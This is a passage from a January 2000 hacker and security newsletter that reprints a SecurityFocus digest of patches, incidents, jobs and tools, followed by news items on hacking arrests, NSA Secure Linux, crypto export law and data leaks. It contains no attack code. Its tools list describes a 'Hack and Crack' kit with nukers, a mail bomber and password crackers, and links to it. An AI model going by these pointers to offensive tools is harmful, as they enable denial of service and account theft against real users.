http://www.eudora.com/freeware/qpop.html#BUFFER
http://www.securityfocus.com/bid/948
Patch Location:
ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper3.0b31.tar.Z
2. Vendor: Microsoft
Product: Index Server for Windows NT and 2000
Vulnerability Patched: NT Index Server Directory Traversal
Bugtraq ID: 950
Relevant URLS:
http://www.microsoft.com/security
http://www.securityfocus.com/bid/950
Patch Locations:
Index Server 2.0:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Indexing Services for Windows 2000:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
3. Vendor: OpenBSD
Product: OpenBSD
Vulnerability Patched: Multiple Vendor BSD /proc File Sytem
Bugtraq ID: 940
Relevant URLS:
http://www.openbsd.org/errata.html
http://www.securityfocus.com/bid/940
Patch Location:
http://www.openbsd.org/errata.html#procfs
4. Vendor: FreeBSD
Product: FreeBSD
Vulnerability Patched: Multiple Vendor BSD /proc File Sytem
Bugtraq ID: 940
Relevant URLS:
http://www.freebsd.org/security/
http://www.securityfocus.com/bid/940
Patch Location:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch
5. Vendor: Inter7
Product: vpopmail
Vulnerability Patched: Inter7 vpopmail (vchkpw) Buffer Overflow
Bugtraq ID: 942
Relevant URLS:
http://www.inter7.com/
http://www.securityfocus.com/bid/942
Patch Location:
http://www.inter7.com/vpopmail/ (version 3.1.11e)
6. Vendor: Microsoft
Product: NT 4.0 Terminal Server Edition
Vulnerability Patched: NT RDISK Registry Enumeration File
Bugtraq ID: 947
Relevant URLS:
http://www.microsoft.com/security
http://www.securityfocus.com/bid/947
Patch Location:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=17384
7. Vendor: Microsoft
Product: Office (All versions, including word and powerpoint)
Vulnerability Patched: Microsoft East Asian Word Conversion
Bugtraq ID: 946
Relevant URLS:
http://www.microsoft.com/security
http://www.securityfocus.com/bid/946
Patch Locations:
- Word 97 or 98, PowerPoint 98: -
US:
http://officeupdate.microsoft.com/downloaddetails/ww5pkg.htm
Japan:
http://officeupdate.microsoft.com/japan/downloaddetails/MalformedData-97.htm
Korea:
http://officeupdate.microsoft.com/korea/downloaddetails/MalformedData-97.htm
China:
http://officeupdate.microsoft.com/china/downloaddetails/MalformedData-97.htm
Taiwan:
http://officeupdate.microsoft.com/taiwan/downloaddetails/MalformedData-97.htm
Hong Kong:
http://officeupdate.microsoft.com/hk/downloaddetails/MalformedData-97.htm
- Converter Pack 2000; Office 2000 with Multilanguage Pack; Word 2000, PowerPoint
2000: -
US:
http://officeupdate.microsoft.com/2000/downloaddetails/ww5pkg.htm
Japan:
http://officeupdate.microsoft.com/japan/downloaddetails/2000/MalformedData-2K.htm
Korea:
http://officeupdate.microsoft.com/korea/downloaddetails/2000/MalformedData-2K.htm
China:
http://officeupdate.microsoft.com/china/downloaddetails/2000/MalformedData-2K.htm
Taiwan:
http://officeupdate.microsoft.com/taiwan/downloaddetails/2000/MalformedData-2K.htm
Hong Kong:
http://officeupdate.microsoft.com/hk/downloaddetails/2000/MalformedData-2K.htm
8. Vendor: FreeBSD
Product: FreeBSD
Vulnerability Patched: Multiple Vendor BSD make /tmp Race Condition
Bugtraq ID: 939
Relevant URLS:
http://www.freebsd.org/security
http://www.securityfocus.com/bid/939
Patch locations:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:01/make.patch
IV. SECURITYFOCUS.COM TOP 6 NEWS ARTICLES
-----------------------------------------
1. Outpost Leaves Data Unguarded (Mon Jan 24 2000)
Excerpt:
While James Wynne was checking his online order Friday at Outpost.com, he
noticed something curious -- he could check orders from other people, too.
Relevant URL:
http://www.wired.com/news/technology/0,1282,33842,00.html
2. Japan Says to Seek U.S. Help to Deal With Hackers (Tue Jan 25 2000)
Excerpt:
Japan said on Tuesday it will seek help from the United States in an
investigation into hackers who penetrated two government Web sites.
Relevant URL:
http://news.excite.com/news/r/000125/00/net-japan-hackers
3. Task Force Battles Online Criminals (Wed Jan 26 2000)
Excerpt:
Ground zero in California's war against Internet crime is behind a
dumpster hard by a hamburger stand in a faded Sacramento County welfare
building. This is the headquarters of the Sacramento Valley high-tech
task force, a multi-agency law enforcement team dedicated to tracking down
e-crime, from stock swindlers to child pornographers.
Relevant URL:
http://www.latimes.com/news/asection/20000126/t000008196.html
4. Smart card 'inventor' lands in jail (Thu Jan 27 2000)
Excerpt:
In another case destined to fuel e-commerce anxieties, a Parisian computer
programmer is facing counterfeiting and fraud charges after developing a
homemade "smart card" that he says gave him the ability to fraudulently
purchase goods and services throughout France.
Relevant URL:
http://www.zdnet.com/zdnn/stories/news/0,4586,2428429,00.html?chkpt=zdnnstop
5. Visa acknowledges cracker break-ins (Fri Jan 28 2000)
Excerpt:
Visa International Inc. acknowledged this week that computer crackers
broke into several servers in its global network last July and stole
information. The company said that in December, it received a phone call
and an e-mail demanding money in exchange for the data.
Relevant URL:
http://www.computerworld.com/home/print.nsf/all/000128e45a
6. A Year Of Mass-Mailing Viruses (Fri Jan 28 2000)
Excerpt:
In its review of the last 12 months, Sophos, the IT security firm, says
that 1999 turned out to be a year when mass-mailed viruses arrived and
dominated the scene.
The annual review says that virus writers are now taking advantage of the
Internet and corporate e-mail systems to distribute their creations more
quickly.
Relevant URL:
http://www.currents.net/newstoday/00/01/28/news8.html
V. INCIDENTS SUMMARY 2000-01-24 to 2000-01-30
---------------------------------------------
1. Got scanned again (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=388C09A6.8EB8CC47@scalajwt.ro
2. Unusual scan pattern (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=SIMEON.10001241252.G29957@bluebottle.itss
3. Possible Probe = Possible Malfunction (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=3.0.3.32.20000125180337.008613b0@mail.9netave.com
4. No Idea (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=3926668584.948819473@pc27233.utdallas.edu
5. PC Anywhere client seems to probe class C of connected networks (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=Pine.GSO.4.21.0001251657260.10263-100000@barrel.dt.ecosoft.com
6. unapproved AXFR (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=SIMEON.10001251742.C24564@bluebottle.itss
7. Connect thru PIX & ports 1727, 2209, 9200 (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=D6C7B533F7C4D311BBD800001D121E7F0151D2@clmail.cmccontrols.com
8. Anti-Death Penalty (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=Pine.LNX.4.10.10001271722320.19098-100000@wr5z.localdomain
9. Strange DNS/TCP activity (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=20000127205611.23795.qmail@securityfocus.com
10. eri? (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=200001281146.FAA20359@hank.cs.utexas.edu
11. source port 321 (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=25608573.949079326302.JavaMail.imail@cheeks.excite.com
12. Korea (again) (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=20000128080948.A24408@sec.sprint.net
13. BOGUS.IvCD File (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=389071D7.6A217C7C@relaygroup.com
14. port 768 (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=87u2jyvahi.fsf@wiz.wiz
15. Extrange named messages (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=3.0.6.32.20000128103026.009ab760@mail.inforeti
16. Probes to tcp 2766 ('System V Listner') (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=Pine.LNX.4.10.10001281650150.29437-100000@unreal.sekure.org
17. Possible attempt at hacking? (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=004701bf6934$22f4fd00$6500a8c0@techstart.com.au
18. DNS update queries: another sort of suspicious activity. (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=75&date=2000-01-22&thread=Pine.GSO.4.05.10001281604430.24882-100000@ns.kyrnet.kg
VI. VULN-DEV RESEARCH LIST SUMMARY 2000-01-24 to 2000-01-30
----------------------------------------------------------
1. Shadow (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-01-22&thread=Pine.GSO.4.21.0001250033010.7776-100000@stormbringer.eos.ncsu.edu
2. things to break.. (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-01-22&thread=Pine.BSF.4.05.10001251139570.30155-100000@mail.us.netect.com
3. HTTP scanners? (summary, long) (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-01-22&thread=388FD01F.A28F15BC@thievco.com
4. CGI insecurities (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-01-22&thread=Pine.GSO.4.10.10001271034400.25323-100000@analog.rm-r.net
5. ICQ Pass Cracker. (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-01-22&thread=200001270941.UAA21537@buffy.tpgi.com.au
6. File Share Vacuum (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-01-22&thread=18708.000128@frisurf.no
7. IIS4.0 .htw vulnerability (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-01-22&thread=4C95EE93836DD311AAA200805FED978904F2DB@mercury.globalintegrity.com
8. Napster a little insecure? (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-01-22&thread=4.2.0.58.20000128171020.009c8ee0@mail.openline.com.br
9. distributed.net and seti@home (Thread)
Relevant URL:
http://www.securityfocus.com/templates/archive.pike?list=82&date=2000-01-22&thread=NDBBJPBMKLJJBCHBNEAIKECOCBAA.jlintz@optonline.net
VII. SECURITY JOBS SUMMARY 2000-01-24 to 2000-01-30
---------------------------------------------------
Seeking Employment:
1. Prashant Vijay (Summer Internship) <vijay@eecs.tulane.edu>
Resume at:
http://www.securityfocus.com/templates/archive.pike?list=77&msg=NDBBJEJEALCFECNEOEHPMEKBCAAA.vijay@eecs.tulane.edu&part=.1
Seeking Staff:
1. Security Research Engineer (Atlanta, Ga)
Reply to: Samuel Cure <scure@iss.net>
Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=2000-01-22&msg=20000124212259.7741.qmail@securityfocus.com
2. Practice Manager w/PKI experience NYC, Philly or DC)
Reply to: Erik Voss <evoss@mrsaratoga.com>
Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=2000-01-22&msg=00d201bf6832$f9cd5460$6775010a@saratoga3
3. Lead Security Engineer - Bay Area/San Jose
Reply to: Sanjeev Kumar <sakumar@zambeel.com>
Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=2000-01-22&msg=20000127015859.1308.qmail@securityfocus.com
4. Senior security engineers - Bay Area/San Jose
Reply to: Erik Voss <evoss@mrsaratoga.com>
Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=2000-01-22&msg=20000127020135.1478.qmail@securityfocus.com
5. Virus coder wanted (San Antonio, TX)
Reply to: Drissel, James W. <james.drissel@cmet.af.mil>
Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=2000-01-22&msg=CD11F9F59C6BD3118BF5009027B0F53B0884EC@adp-exch-1.cmet.af.mil
6. Junior Security Engineers Needed (Maryland)
Reply to: Brian Mitchell <bmitchell@icscorp.com>
Requirements:
http://www.securityfocus.com/templates/archive.pike?list=77&date=2000-01-22&msg=NCBBKIMIMKKMLDMGEHFKAEAKENAA.bmitchell@icscorp.com
VIII. SECURITY SURVEY 2000-01-24 to 2000-01-30
----------------------------------------------
Our current month long survey is:
"Do you think security vendors exaggerate the importance of security
issues as a marketing strategy?"
Never 6% / 10 votes
Rarely 30% / 48 votes
Often 47% / 74 votes
Always 14% / 23 votes
Total number of votes: 155 votes
IX. SECURITY FOCUS TOP 6 TOOLS 2000-01-24 to 2000-01-30
--------------------------------------------------------
1. ShadowScan 1.00.093 (Windows 95/98 and Windows NT)
by RedShadow
Relevant URL:
http://www.rsh.kiev.ua
Shadow Advantis Administator Tools - Ping (SSPing), Port Scanner, , IP
Scanner, Site Info (is intended for fast definition of services started on
the host), Network Port Scanner,Tracert, Telnet,Nslookup,
Finger,Echo,Time,UPD test,File Info, Compare File, Netstat, SysInfo,Crypt,
Crc File, DBF view/edit, DiskInfo, NTprocess, Keyboard test, DNS info
Shadow Hack and Crack - WinNuke, Mail Bomber,POP3,HTTP,SOCKS,FTP Crack
(definitions of the password by a method of search),Unix password Crack,
Finger over SendMail, Buffer Overlow , Smb Password Check , CRK Files
ShadowPortGuard - code for detection of connection on the certain port
Shadow Novell NetWare Crack - code for breakings Novell NetWare 4.x And
more other functions
2. SecurityFocus.com Pager (Win95/98/NT)
by SecurityFocus.com
Relevant URL:
http://www.securityfocus.com/pager/sf_pgr20.zip
This program allows the user to monitor additions to the Security Focus
website without constantly maintaining an open browser. Sitting quietly in
the background, it polls the website at a user-specified interval and
alerts the user via a blinking icon in the system tray, a popup message or
both (also user-configurable).
3. lidentd 1.0p1 (Linux)
by Drago, drago@drago.com
Relevant URL:
http://www.securityfocus.com/data/tools/lidentd-v1.0p1.tgz
lidentd is an identd replacement with many features including fake users,
random fake users , restricted fake user responses, matching against the
passwd file for fake responses and more.
4. Cgi Sonar 1.0 (any system supporting perl)
by M.e.s.s.i.a.h
Relevant URL:
http://www.securityfocus.com/data/tools/CgiSonar.pl.gz
5. Logcheck 1.1.1 (BSDI, Digital UNIX/Alpha, FreeBSD, HP-UX, Linux,
NetBSD, OpenBSD, Solaris and SunOS)
by Craig Rowland, crowland@psionic.com
Relevant URL:
http://www.securityfocus.com/data/tools/logcheck-1.1.1.tar.gz
Logcheck is part of the Abacus Project of security tools. It is a program
created to help in the processing of UNIX system logfiles generated by the
various Abacus Project tools, system daemons, Wietse Venema's TCP Wrapper
and Log Daemon packages, and the Firewall Toolkit) by Trusted Information
Systems Inc.(TIS). Logcheck also works very well at reporting on other
common operating system security violations and strange events.
6. Secret Sharer 1.0 1.0 (Windows 95/98)
by Joel McNamara, joelm@eskimo.com
Relevant URL:
http://www.securityfocus.com/data/tools/secs.zip
Secret Sharer is designed to help people keep secure back-up copies of
sensitive data such as PGP (or other cryptosystem) passphrases and
confidential files.
X. SPONSOR INFORMATION - CORE SDI
------------------------------------------
CORE SDI is an international computer security research and development
company. It's clients include 3 of the Big 5 chartered accountant firms
for whom CORE SDI develops customized security auditing tools as well as
several notable computer security product vendors, such as Network
Associates. In addition to providing 'consultant to the consultant'
services CORE also performs risk assesment and security infrastructure
consulting for a large number of government and fortune 500 companies in
both North and Latin America.
URL: http://www.core-sdi.com
XI. SUBSCRIBE/UNSUBSCRIBE INFORMATION
-------------------------------------
1. How do I subscribe?
Send an e-mail message to LISTSERV@SECURITYFOCUS.COM with a message body
of:
SUBSCRIBE SF-NEWS Lastname, Firstname
You will receive a confirmation request message to which you will have
to anwser.
2. How do I unsubscribe?
Send an e-mail message to LISTSERV@SECURITYFOCUS.COM from the subscribed
address with a message body of:
UNSUBSCRIBE SF-NEWS
If your email address has changed email aleph1@securityfocus.com and I
will manualy remove you.
3. How do I disable mail delivery temporarily?
If you will are simply going in vacation you can turn off mail delivery
without unsubscribing by sending LISTSERV the command:
SET SF-NEWS NOMAIL
To turn back on e-mail delivery use the command:
SET SF-NEWS MAIL
4. Is the list available in a digest format?
Yes. The digest generated once a day.
5. How do I subscribe to the digest?
To subscribe to the digest join the list normally (see section 0.2.1)
and then send a message to LISTSERV@SECURITYFOCUS.COM with with a message
body of:
SET SF-NEWS DIGEST
6. How do I unsubscribe from the digest?
To turn the digest off send a message to LISTSERV with a message body
of:
SET SF-NEWS NODIGEST
If you want to unsubscribe from the list completely follow the
instructions of section 0.2.2 next.
7. I seem to not be able to unsubscribe. What is going on?
You are probably subscribed from a different address than that from
which you are sending commands to LISTSERV from. Either send email from
the appropiate address or email the moderator to be unsubscribed manually.
@HWA
35.0 HNN: Jan 17: NY Student Arrested After Damaging School Computer
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
A high school student in Long Island New York has been
arrested for electronically breaking into his schools
computer system. He has been charged with computer
tampering and unauthorized use of a computer. Police
say that he was caught after bragging about the
intrusion to friends and teachers. Damage was
estimated at $3,000.
WABC News
http://abcnews.go.com/local/wabc/news/32275_1142000.html
High School Hacker Arrested
Long Island authorities have arrested a 17-year-old high school student
for hacking into his school district's computer.
Suffolk County authorities are charging Keith Billig with computer tampering
and unauthorized use of a computer. Billig's is a student at Hauppauge High
School.
On Wednesday, authorities say Billig gained access to the school district's
main frame computer. He allegedly was able to attain the password of every
administrator, teacher and student in the district.
The computer's internal security system was able to detect Billig's intrusion
in the early stages. Police say Billig's bragging about his exploits to
teachers and other students is what led them to him. Authorities are not sure
what Billig's motive for breaking into the computer system was.
Authorities estimate the damage done to the school district's computer system
at $3,000.
@HWA
Where do these guys get these figures from? any sysadmin worth his salt can
secure the system in less than an hour... do they get paid $3k/hr down there??
- Ed
36.0 HNN: Jan 17: NSA Wants A Secure Linux
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Benjamin
The NSA has contracted Secure Computing as a sole
source provider for a new Linux based secure OS.
Secure Computing will integrate its patented Type
Enforcement technology they use for the Sidewinder
firewall at the OS level. The technology is scheduled to
be made available to the public as well as the NSA.
PR Newswire - via Yahoo
http://biz.yahoo.com/prnews/000113/ca_secure__1.html
Thursday January 13, 8:02 am Eastern Time
Company Press Release
SOURCE: Secure Computing Corporation
National Security Agency Selects Secure Computing to Provide Type
Enforcement(TM) on Linux OS
Secure Computing First to Develop Strong Security Platform for Linux
SAN JOSE, Calif., Jan. 13 /PRNewswire/ -- Secure Computing Corporation
(Nasdaq: SCUR - news), today announced that it has been awarded a sole
source contract by the National Security Agency (NSA) to develop a Secure
Linux Operating System (OS). This contract calls for Secure
Computing to apply its patented Type Enforcement(TM) technology, to
develop a robust and secure Linux platform. This award furthers the goal
of Secure to pursue and acquire contracts that will provide enabling
technologies to both the Federal government infrastructure as well as
commercial electronic business applications.
The NSA is the nation's high-technology cryptologic organization that
ensures important and sensitive activities in the US intelligence
community are protected from exploitation through interception,
unauthorized access, or related technical intelligence threats.
Secure Computing's patented Type Enforcement technology provides network
security protection that is unique to the industry. This technology, first
developed under previous government contracts, is available today as part
of the UNIX OS for Secure Computing's Sidewinder(TM) firewall. Type
Enforcement secures underlying operating systems and protects applications
and network services, by segmenting them into domains. Each domain is
granted permission to access only specific file types, including
executables. As such, each domain provides a self-contained, discrete
layer of protection that cannot be altered. Implementing Type Enforcement
within the operating system itself assures the highest level of security
available in commercial operating systems.
``The NSA has been a long standing customer and partner of Secure
Computing,'' said Chris Filo, vice president and general manager of the
Advanced Technology Division at Secure Computing. ``Working with the NSA
allows Secure to continue to advance the state of the art in
security technologies that is required to enable safe, secure operating
environments within the Department of Defense (DoD), while at the same
time, providing the basis for our future commercial products.''
Linux is a UNIX-type operating system that includes true multitasking,
virtual memory, shared libraries, demand loading, proper memory
management, TCP/IP networking, and other features consistent with
Unix-type systems. The Linux source code is freely available to
everyone.
About the National Security Agency
The National Security Agency (NSA) is the nation's cryptologic
organization, tasked with making and breaking codes and ciphers. NSA is a
high-technology organization, working on the very frontiers of
communications and data processing. The expertise and knowledge it
develops provide the government with systems that deny foreign powers
knowledge of US capabilities and intentions.
The NSA is charged with two of the most important and sensitive activities
in the US intelligence community. The information systems security or
INFOSEC mission provides leadership, products, and services to protect
classified and unclassified national security systems against
exploitation through interception, unauthorized access, or related
technical intelligence threats. The second activity is the foreign signals
intelligence or SIGINT mission, which allows for an effective, unified
organization and control of all the foreign signals collection and
processing activities of the United States.
About Secure Computing
Headquartered in San Jose, California, Secure Computing Corporation is a
global leader in providing safe, secure extranets for e-business. Secure
Computing solutions provide authentication, authorization and secure
network access. Secure Computing's worldwide partners and customer
base are counted among the Fortune 50 in financial services, healthcare,
telecom, communications, manufacturing, technology and Internet service
providers, as well as some of the largest agencies of the United States
government.
For more information, visit Secure Computing Corporation at
www.securecomputing.com, or by calling: in Europe, 44-1753-826000; in
Asia/Pacific, 61-2-9844-5440, in the U.S., 800-379-4944, or 408-918-6100.
NOTE: All trademarks, tradenames or service marks used or mentioned herein
belong to their respective owners.
This press release contains forward-looking statements relating to the
anticipated delivery of Secure Computing's Type Enforcement technology on
the Linux operating system and the expected benefits of such technology,
and such statements involve a number of risks and uncertainties.
Among the important factors that could cause actual results to differ
materially from those indicated by such forward-looking statements are
delays in product development, competitive pressures, technical
difficulties, changes in
customer requirements, general economic conditions and the risk factors
detailed from time to time in Secure Computing's periodic reports and
registration statements filed with the Securities and Exchange Commission.
SOURCE: Secure Computing Corporation
@HWA
37.0 HNN: Jan 17: Cryptome may be breaking the law
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
Cryptom May Be Violating the Law
contributed by White Vampire
Leading Internet civil liberties groups said today that
new encryption export regulations released by the U.S.
Commerce Department fall short of the Clinton
Administration's promise to deregulate the
privacy-enhancing technology. One example of this
concerns the popular Internet site Cryptom where PGP
is made freely available to anyone in the world who
wants it. It is unclear with the new regulations whether
this is a criminal act or not.
Wired
http://www.wired.com/news/politics/0,1283,33672,00.html
Is This Man a Crypto Criminal? by Declan McCullagh
3:00 a.m. 15.Jan.2000 PST Crypto maven John Young has a problem.
He may be a felon, guilty of a federal crime punishable by years in
prison. Or he may not be. He'd just like to know one way or another.
The 63-year-old architect and owner of the popular Cryptome site has
posted a copy of PGP (Pretty Good Privacy) encryption software for the
world to download.
Also: He Digs 'Through' Gov't Muck More Infostructure in Wired News Read
more Politics -- from Wired News
PGP, an encryption program that lets users scramble files and email, has
become one of the most popular crypto applications online. But people
living outside the US have not been able to get it legally from a US Web
site.
Young's seemingly innocuous act might violate new US government
regulations that restrict placing privacy-protecting crypto programs on
the Web. Therein lies the uncertainty. The rules are much less onerous
than the previous version, but they still apply.
And they're so labyrinthine and convoluted that even lawyers who
specialize in the area declined to guess whether or not Young has run
afoul of President Clinton's executive order and Commerce Department
regulations.
"The fact that questions still remain about what does and does not violate
the law demonstrates that these regulations continue to cloud the
situation," said David Sobel, general counsel of the Electronic Privacy
Information Center.
So Young decided to be intrepid -- and perhaps risk a confrontation with
the Feds.
"If it's not right, someone will tell me. If I go to a lawyer to ask,
they'll advise caution. Every time I go to a lawyer they advise me not to
do it, so I don't go any more," he said.
The Department of Commerce, which published the regulations and is in
charge of arresting crypto-miscreants, declined to comment. Eugene
Cottilli, a spokesman for the Commerce's bureau of export administration,
could not secure an official response from government lawyers on
Friday.
Complicating matters is the different way that the regulations treat
ready-to-use binary software, and the human-readable source code that must
be compiled to be used.
On Friday, Young posted a copy of PGP Freeware Version 6.5.2a for Windows
and Macintosh, which contains binary code. The regulations appear to say
that Americans can only distribute it online if the government has
previously "reviewed and classified" the software as acceptable for
distribution.
Under the old rules, Web sites could distribute binary code only if they
checked the Internet address of the recipient and attempted to verify that
it was a computer inside the US.
MIT, which makes PGP available, has a system that does just that. But
Young's site doesn't include the foreigner-verification check, and he said
overseas visitors have already been downloading the software.
The uncertainty -- and possibility of criminal prosecution -- doesn't faze
Young. "People are saying the regs are deliberately vague so you'll censor
yourself, so I tend to go the other way," he said. "I'm hoping this will
lead to clarification."
Source code, on the other hand, is a bit freer. As long as it's not
subject to an onerous license and as long as you email the site's address
to the Commerce Department, Web posting appears to be permitted.
Some cryptographers have already done just that.
"I'm willing to give it a try," wrote cryptographer Wei Dai on an
encryption mailing list. "I sent an email to BXA [Bureau of Export
Administration] and got no reply. The rules do not say I need permission,
just notification, so Crypto++ is now available for unrestricted
download." Dai maintains the Crypto++ library of C++ encryption routines,
including authentication programs and ciphers.
Soon after, the text of the Electronic Frontier Foundation's Cracking DES
book appeared online. http://www.shmoo.com/crypto/Cracking_DES
@HWA
38.0 HNN: Jan 21: H4g1s Member Sentenced to Six Months
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by extension
Jason Mewhiney, the Canadian who defaced a NASA
web page back in 1997, has been sentenced to 6
months in prison and ordered to pay a $6000 fine.
Mewhiney pleaded guilty to 12 of the 51 charges
against him, including committing mischief to data
stored and fraudulent use of a NASA computer system.
NASA estimated the damages caused by the intrusion at
$70,000. (And how much did it cost to prosecute the
case?)
Canadian Press - via Yahoo
http://ca.dailynews.yahoo.com/ca/headlines/cpress/tc/story.html?s=v/ca/cpress/20000118/tc/technology_461022_1.html
Monday January 17 11:48 PM ET
Man sentenced to six months in jail after pleading guilty to computer
hacking
SUDBURY, Ont. (CP) - A man was sentenced to six months in jail and fined
$6,000 Monday after pleading guilty to computer hacking related charges,
including altering NASA's Web site.
Jason Mewhiney, 22, went into the space agency's Web site March 5, 1997,
leaving a message that called for an end to the commercialization of the
Internet and freedom for two hackers in jail for computer crimes.
Justice John Poupore compared Mewhiney's actions to that of a
"safecracker" trying to steal money from a bank.
"Mr. Mewhiney, you ought not to leave this courtroom with a badge of
honour in the computer community," the judge said Monday.
"You sir, are a convicted criminal. That is a distinction you will carry
with you for the rest of your life. It is nothing to be proud of."
Mewhiney, of Val Caron, outside of Sudbury, pleaded guilty to 12 of the 51
charges he was facing, including committing mischief to data stored and
fraudulent use of a NASA computer system.
He was able to access dozens of computer systems by using programs that
crack password codes. The space agency's home page was put briefly out of
service for repair, at an estimated cost of $70,000.
NASA and FBI computer crime teams caught Mewhiney by tracing his
movements.
Mewhiney told the court he was sorry.
"I'd just like to say I'm sorry and I'm sorry for everyone's time I've
wasted," he said.
RCMP searched his parent's home in the spring of 1998 and found a paper
with numerous computer system passwords on them.
The judge agreed to a request by assistant Crown attorney Patricia Moore
that Mewhiney's computer and other papers seized by police be confiscated.
One of his probation conditions was that he not possess a computer.
(Sudbury Star) © The Canadian Press, 2000
@HWA
39.0 HNN: Jan 21: Smurf Attack Felt Across the Country
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Dark Knight
A small ISP in Seattle WA, Oz.net, suffered a major
Smurf attack last weekend that was felt across the
country. The denial of service attack is estimated to
have been launched from 2000 systems nationwide.
70% of the traffic in the Washington State area was
said to have been effected.
MSNBC
http://www.msnbc.com/local/KING/483728.asp
404 my dr00gies, sorry article unavailable...
@HWA
40.0 HNN: Jan 21: CIHost.com Leaves Customer Info On the Net
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
CIHost.com, a web hosting company based in Texas,
left over 1500 customer records available on the
internet for anyone with a web browser to read. CIHost
said that the database had been moved to a server so
an outside developer could have access to the
information and by mistake password protection was
omitted. The customer records included information
such as name, credit card type, credit card number, and
the amount charged.
MSNBC
http://www.msnbc.com/news/360102.asp
(fuck MSSNBC and their bullshit page design)
@HWA
41.0 HNN: Jan 21:False Bids Submitted, Hackers Blamed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
False bids on an online auction for a dinosaur skeleton
have been blamed on 'hackers'. False bids of up to $15
million where submitted by people with names such as
'stevebert' and 'dumbass507'. The bidding procedure has
been revamped to prevent this from occurring again
however no details where given as to exactly what
security measures where put in place. (It is amzing how
many different definitions of the word 'hacker' exist)
BBC
http://news.bbc.co.uk/hi/english/sci/tech/newsid_608000/608634.stm
Tuesday, 18 January, 2000, 17:52 GMT Hackers attack dinosaur auction
Dinosaur hunters with their quarry: Alan Detrich (left) and Fred Nuss
By BBC News Online's Damian Carrington
An online auction for a complete Tyrannosaurus rex skeleton was attacked
by malicious hackers on Tuesday who filed 17 false bids.
At least six of these made it through security measures specifically put
in place to prevent such action.
"Some people found a way around that process and they have been removed,"
confirmed Brian Payea, public relations manager for Lycos.
He told BBC News Online: "There are no valid bids so far."
Bank chat
The first attempt to auction the 11-metre fossil dinosaur on eBay was
scuppered by prank bids of up to $8m. However, this time, the new
auctioneers Lycos Auction had teamed up with the website millionaire.com
to try to verify the wealth of bidders before they made their offer.
Mr Payea described what should have happened: "You fill in a form, that
is sent to millionaire.com and they review it and have a conversation
with your bank. The approval is given and someone can bid."
However, hackers named "mrmanson20", "stevebert" and "dumbass507" found a
hole and posted bids of up to $15m, well over the reserve price of $5.8m.
No credit compromise
Mr Payea declined to give details of what happened: "How the whole
process works is proprietary and I'm not going into detail about it. But
we are very confident it couldn't be done again."
He added that: "The hiccup does not compromise anybody's credit
information - that is all encrypted and very secure."
The auction opened on Monday but Mr Payea was not concerned that no
